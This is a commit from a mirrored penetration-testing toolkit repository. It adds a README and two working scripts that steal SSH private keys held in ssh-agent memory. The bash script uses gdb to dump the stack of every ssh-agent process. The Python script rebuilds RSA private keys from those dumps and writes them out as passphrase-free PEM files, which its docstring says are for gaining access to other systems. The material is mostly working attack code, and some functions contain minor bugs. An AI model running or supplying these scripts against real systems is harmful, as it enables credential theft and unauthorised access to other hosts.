mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-03 07:14:54 -04:00
some small fixes
This commit is contained in:
parent
4f8d5148af
commit
16757b10ac
412 changed files with 139509 additions and 0 deletions
0
Linux_Hacking/README.md
Normal file
0
Linux_Hacking/README.md
Normal file
|
@ -0,0 +1,38 @@
|
|||
Introduction
|
||||
============
|
||||
|
||||
SSH-agent is a tool designed to keep a SSH key in memory so that the user doesn't have to type their passphrase in every time.
|
||||
|
||||
A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it (of course, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase).
|
||||
|
||||
|
||||
Using SSH-agent
|
||||
---------------
|
||||
|
||||
A common method of using SSH-agent is running "SSH-agent bash" and then "SSH-add" to add the key to the agent. Once added, the key will stay in the SSH-agent's stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add.
|
||||
|
||||
|
||||
Pulling a SSH Key From Memory
|
||||
-----------------------------
|
||||
|
||||
Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process.
|
||||
|
||||
The gdb_garb.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack.
|
||||
|
||||
|
||||
|
||||
Parsing SSH Keys From the Memory Dump
|
||||
-------------------------------------
|
||||
|
||||
The key is kept in the stack in a different format then the one that was generated by SSH-keygen.
|
||||
|
||||
The script parse.py requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk.
|
||||
|
||||
This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user's key, only without requiring a pass phrase to unlock it.
|
||||
|
||||
|
||||
|
||||
References:
|
||||
-----------
|
||||
|
||||
1. https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory
|
24
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh
Executable file
24
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh
Executable file
|
@ -0,0 +1,24 @@
|
|||
#!/bin/bash
|
||||
|
||||
# First argument is the output directory. Use /tmp if this is not specified.
|
||||
outputdir="/tmp"
|
||||
|
||||
# Grab pids for each ssh-agent
|
||||
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')
|
||||
|
||||
# Iterate through the pids and create a memory dump of the stack for each
|
||||
for pid in $sshagentpids; do
|
||||
stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')"
|
||||
startstack=$(echo $stackmem | awk '{print $1}')
|
||||
stopstack=$(echo $stackmem | awk '{print $2}')
|
||||
|
||||
gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null
|
||||
|
||||
# GDB doesn't error out properly if this fails.
|
||||
# This will provide feedback if the file is actually created
|
||||
if [ -f "$outputdir/sshagent-$pid.stack" ]; then
|
||||
echo "Created $outputdir/sshagent-$pid.stack"
|
||||
else
|
||||
echo "Error dumping memory from $pid"
|
||||
fi
|
||||
done
|
186
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py
Executable file
186
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py
Executable file
|
@ -0,0 +1,186 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import base64
|
||||
from pyasn1.type import univ
|
||||
from pyasn1.codec.der import encoder
|
||||
|
||||
|
||||
class sshkeyparse:
|
||||
""" This class is designed to parse a memory dump of ssh-agent and create
|
||||
unencrypted ssh keys that can then be used to gain access to other
|
||||
systems"""
|
||||
keytypes = {
|
||||
'rsa': "ssh-rsa",
|
||||
'dsa': "ssh-dss",
|
||||
'ecsda': "ecdsa-sha2-nisp256",
|
||||
'ed25519': "ssh-ed25519"
|
||||
}
|
||||
|
||||
def read(self, memdump):
|
||||
""" Reads a file and stories it in self.mem"""
|
||||
self.inputfile = memdump
|
||||
file = open(memdump, 'rb')
|
||||
self.mem = "".join(file.readlines())
|
||||
file.close()
|
||||
|
||||
def unpack_bigint(self, buf):
|
||||
"""Turn binary chunk into integer"""
|
||||
|
||||
v = 0
|
||||
for c in buf:
|
||||
v *= 256
|
||||
v += ord(c)
|
||||
|
||||
return v
|
||||
|
||||
def search_key(self):
|
||||
"""Searches for keys in self.mem"""
|
||||
|
||||
keysfound = {}
|
||||
|
||||
for type in self.keytypes:
|
||||
magic = self.mem.find(self.keytypes[type])
|
||||
|
||||
if magic is not -1:
|
||||
keysfound[magic] = type
|
||||
|
||||
if keysfound:
|
||||
print ("Found %s key" % keysfound[sorted(keysfound)[0]])
|
||||
self.mem = self.mem[sorted(keysfound)[0]:]
|
||||
self.type = keysfound[sorted(keysfound)[0]]
|
||||
return 1
|
||||
|
||||
if not keysfound:
|
||||
return -1
|
||||
|
||||
def getkeys(self, output):
|
||||
""" Parses for keys stored in ssh-agent's stack """
|
||||
|
||||
keynum = 0
|
||||
validkey = 0
|
||||
|
||||
validkey = self.search_key()
|
||||
while validkey != -1:
|
||||
|
||||
if keynum == 0:
|
||||
keynum += 1
|
||||
self.create_key(output)
|
||||
|
||||
else:
|
||||
keynum += 1
|
||||
self.create_key((output + "." + str(keynum)))
|
||||
|
||||
validkey = self.search_key()
|
||||
|
||||
if keynum == 0:
|
||||
# Did not find a valid key type
|
||||
print ("A saved key was not found in %s" % self.inputfile)
|
||||
print ("The user may not have loaded a key or the key loaded is " +
|
||||
"not supported.")
|
||||
sys.exit(1)
|
||||
else:
|
||||
return
|
||||
|
||||
# Detect type of key and run key creation
|
||||
def create_key(self, output):
|
||||
"""Creates key files"""
|
||||
|
||||
output = output + "." + self.type
|
||||
|
||||
if self.type is "rsa":
|
||||
self.create_rsa(output)
|
||||
print ("Creating %s key: %s" % (self.type, output))
|
||||
if self.type is "dsa":
|
||||
self.create_dsa(output)
|
||||
print ("Creating %s key: %s" % (self.type, output))
|
||||
else:
|
||||
print ("%s key type is not currently supported." % self.type)
|
||||
sys.exit(3)
|
||||
|
||||
def create_dsa(self, output):
|
||||
"""Create DSA SSH key file"""
|
||||
if self.mem[0:7] == "ssh-dss":
|
||||
print ("DSA SSH Keys are not currently supported.")
|
||||
self.mem = self.mem[start+size:]
|
||||
|
||||
else:
|
||||
print ("Error: This is not a DSA SSH key file")
|
||||
sys.exit(2)
|
||||
|
||||
def create_rsa(self, output):
|
||||
"""Create RSA SSH key file"""
|
||||
if self.mem[0:7] == "ssh-rsa":
|
||||
|
||||
# FIXME: This needs to be cleaned up.
|
||||
start = 10
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
n = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
e = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
d = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
c = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
p = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
q = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
|
||||
e1 = d % (p - 1)
|
||||
e2 = d % (q - 1)
|
||||
|
||||
self.mem = self.mem[start+size:]
|
||||
|
||||
else:
|
||||
print ("Error: This is not a RSA SSH key file")
|
||||
sys.exit(2)
|
||||
|
||||
seq = (
|
||||
univ.Integer(0),
|
||||
univ.Integer(n),
|
||||
univ.Integer(e),
|
||||
univ.Integer(d),
|
||||
univ.Integer(p),
|
||||
univ.Integer(q),
|
||||
univ.Integer(e1),
|
||||
univ.Integer(e2),
|
||||
univ.Integer(c),
|
||||
)
|
||||
|
||||
struct = univ.Sequence()
|
||||
|
||||
for i in xrange(len(seq)):
|
||||
struct.setComponentByPosition(i, seq[i])
|
||||
|
||||
raw = encoder.encode(struct)
|
||||
data = base64.b64encode(raw)
|
||||
|
||||
# chop data up into lines of certain width
|
||||
width = 64
|
||||
chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
|
||||
# assemble file content
|
||||
content = """-----BEGIN RSA PRIVATE KEY-----
|
||||
%s
|
||||
-----END RSA PRIVATE KEY-----
|
||||
""" % '\n'.join(chopped)
|
||||
output = open(output, 'w')
|
||||
output.write(content)
|
||||
output.close()
|
||||
|
||||
# MAIN
|
||||
|
||||
keystart = sshkeyparse()
|
||||
keystart.read(sys.argv[1])
|
||||
keystart.getkeys(sys.argv[2])
|
Loading…
Add table
Add a link
Reference in a new issue